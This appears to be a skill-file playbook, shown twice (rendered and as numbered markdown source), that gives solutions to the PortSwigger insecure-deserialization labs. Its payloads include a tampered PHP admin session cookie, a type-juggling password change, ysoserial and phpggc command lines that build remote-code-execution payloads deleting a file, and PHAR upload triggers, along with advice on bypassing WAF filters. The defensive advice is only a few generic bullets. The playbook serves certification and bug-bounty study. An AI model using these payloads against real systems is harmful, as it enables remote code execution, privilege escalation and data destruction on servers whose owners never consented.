Insecure Deserialization — Complete Deep Dive
Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads,
bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert
When to Use
- BSCP certification prep
- Real-world bug bounty hunting
- Building exploitation chains
- Understanding bypass techniques
Prerequisites
- Burp Suite Professional
- Burp Collaborator / interactsh
- Browser with proxy configured
Workflow
Phase 1: Reconnaissance
- Identify input vectors, parameters, and application behavior.
Phase 2: Exploitation
- Apply standard lab payloads.
Phase 3: Zero-Day Escalation
- Fuzz filters, bypass WAFs, and chain with other vulns.
Lab Playbooks
Lab 1: Modify serialized objects 🟢 APPRENTICE
Cookie: session=O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}
# Change b:0 to b:1 (admin=true):
Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30= (base64)
Lab 2: Modify data types 🟡 PRACTITIONER
# Change password string to integer 0:
s:8:"password";s:6:"secret" → s:8:"password";i:0;
# PHP loose comparison: 0 == "any_string" is TRUE
Lab 3: Application functionality exploit 🟡 PRACTITIONER
Delete avatar uses file path from serialized object. Change path to /home/carlos/morale.txt → app deletes target file.
Lab 4: Arbitrary object injection PHP 🟡 PRACTITIONER
Find class with __destruct() or __wakeup() magic method. Inject that class with controlled properties.
Lab 5: Java deserialization Apache Commons 🟡 PRACTITIONER
java -jar ysoserial.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64
Replace session cookie with ysoserial payload (base64-encoded).
Lab 6: PHP pre-built gadget chain 🟡 PRACTITIONER
./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64
Sign with leaked SECRET_KEY, inject as serialized cookie.
Lab 7: Ruby documented gadget 🟡 PRACTITIONER
Use documented Ruby deserialization gadget chain from public research.
Lab 8: Custom Java gadget chain 🔴 EXPERT
Analyze source code, find: serializable class → dangerous method call chain → RCE. Build custom chain.
Lab 9: Custom PHP gadget chain 🔴 EXPERT
Walk class autoloading: __wakeup() → __toString() → file_get_contents() → arbitrary file read.
Lab 10: PHAR deserialization 🔴 EXPERT
# Upload PHAR file disguised as image
# Trigger via: phar:///var/www/uploads/avatar.phar/test
# Any file operation (file_exists, fopen) on phar:// triggers deserialization
Blue Team Detection
- Monitor access logs for anomalous payloads.
- Implement strict input validation and parameterized queries where applicable.
- Create WAF rules masking generic attack patterns.
Zero-Day Research
When standard technique fails:
- Identify the filter/WAF
- Fuzz with Burp Intruder custom wordlists
- Search GitHub/Twitter for new bypasses
- Chain with other vulns for escalation
- Try encoding variants: URL, double-URL, unicode, hex
Key Concepts
| Concept |
Description |
| PortSwigger Vectors |
Standardized approaches to vulnerability classes. |
| Payload Encoding |
Modifying payloads to bypass basic string matching WAFs. |
Output Format
Vulnerability Deep-Dive Report
==============================
Target Vector: [Endpoint]
Bypass Technique: [Explanation of bypass]
Payload Used: [Payload]
Impact Explanation: [Impact]
🔵 Blue Team
- Deploy robust WAF rules to detect anomalies.
- Monitor logs for unusual access patterns.
🛡️ Remediation & Mitigation Strategy
- Input Validation: Sanitize and strictly type-check all inputs.
- Least Privilege: Constrain component execution bounds.
📚 Shared Resources
For cross-cutting methodology applicable to all vulnerability classes, see:
References
1---2name: insecure-deserialization-complete-deep-dive3description: "Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques"4domain: cybersecurity5subdomain: bug-hunting6version: "1.0.0"7category: "bug-hunting/deep-dive-labs"8tags: [portswigger, deep-dive, exploitation, zero-day, lab-solutions]9mitre_attack: ["T1190"]10tools: [burp-suite, curl, sqlmap, ffuf, python, hashcat, ysoserial]11difficulty: "advanced"12metadata:13 source: https://skillmd.com/skills/shulkwisec/insecure-deserialization-complete-deep-dive14---1516# Insecure Deserialization — Complete Deep Dive1718> **Deep-Dive Lab Playbook** — Every PortSwigger lab variant with exact payloads,19> bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert2021## When to Use22- BSCP certification prep23- Real-world bug bounty hunting24- Building exploitation chains25- Understanding bypass techniques2627## Prerequisites28- Burp Suite Professional29- Burp Collaborator / interactsh30- Browser with proxy configured313233## Workflow34### Phase 1: Reconnaissance35- Identify input vectors, parameters, and application behavior.36### Phase 2: Exploitation37- Apply standard lab payloads.38### Phase 3: Zero-Day Escalation39- Fuzz filters, bypass WAFs, and chain with other vulns.4041## Lab Playbooks4243### Lab 1: Modify serialized objects 🟢 APPRENTICE44```45Cookie: session=O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}46# Change b:0 to b:1 (admin=true):47Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30= (base64)48```49---5051### Lab 2: Modify data types 🟡 PRACTITIONER52```53# Change password string to integer 0:54s:8:"password";s:6:"secret" → s:8:"password";i:0;55# PHP loose comparison: 0 == "any_string" is TRUE56```57---5859### Lab 3: Application functionality exploit 🟡 PRACTITIONER60Delete avatar uses file path from serialized object. Change path to `/home/carlos/morale.txt` → app deletes target file.61---6263### Lab 4: Arbitrary object injection PHP 🟡 PRACTITIONER64Find class with `__destruct()` or `__wakeup()` magic method. Inject that class with controlled properties.65---6667### Lab 5: Java deserialization Apache Commons 🟡 PRACTITIONER68```bash69java -jar ysoserial.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base6470```71Replace session cookie with ysoserial payload (base64-encoded).72---7374### Lab 6: PHP pre-built gadget chain 🟡 PRACTITIONER75```bash76./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base6477```78Sign with leaked SECRET_KEY, inject as serialized cookie.79---8081### Lab 7: Ruby documented gadget 🟡 PRACTITIONER82Use documented Ruby deserialization gadget chain from public research.83---8485### Lab 8: Custom Java gadget chain 🔴 EXPERT86Analyze source code, find: serializable class → dangerous method call chain → RCE. Build custom chain.87---8889### Lab 9: Custom PHP gadget chain 🔴 EXPERT90Walk class autoloading: `__wakeup()` → `__toString()` → file_get_contents() → arbitrary file read.91---9293### Lab 10: PHAR deserialization 🔴 EXPERT94```95# Upload PHAR file disguised as image96# Trigger via: phar:///var/www/uploads/avatar.phar/test97# Any file operation (file_exists, fopen) on phar:// triggers deserialization98```99---100101102## Blue Team Detection103- Monitor access logs for anomalous payloads.104- Implement strict input validation and parameterized queries where applicable.105- Create WAF rules masking generic attack patterns.106107## Zero-Day Research108When standard technique fails:1091. Identify the filter/WAF1102. Fuzz with Burp Intruder custom wordlists1113. Search GitHub/Twitter for new bypasses1124. Chain with other vulns for escalation1135. Try encoding variants: URL, double-URL, unicode, hex114115116## Key Concepts117| Concept | Description |118|---------|-------------|119| PortSwigger Vectors | Standardized approaches to vulnerability classes. |120| Payload Encoding | Modifying payloads to bypass basic string matching WAFs. |121122123## Output Format124```125Vulnerability Deep-Dive Report126==============================127Target Vector: [Endpoint]128Bypass Technique: [Explanation of bypass]129Payload Used: [Payload]130Impact Explanation: [Impact]131```132133## 🔵 Blue Team134- Deploy robust WAF rules to detect anomalies.135- Monitor logs for unusual access patterns.136137## 🛡️ Remediation & Mitigation Strategy138- **Input Validation:** Sanitize and strictly type-check all inputs.139- **Least Privilege:** Constrain component execution bounds.140141142## 📚 Shared Resources143> For cross-cutting methodology applicable to all vulnerability classes, see:144> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns145> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference146> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class147148## References149- [PortSwigger Labs](https://portswigger.net/web-security/all-labs)150- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)151- [HackTricks](https://book.hacktricks.xyz/)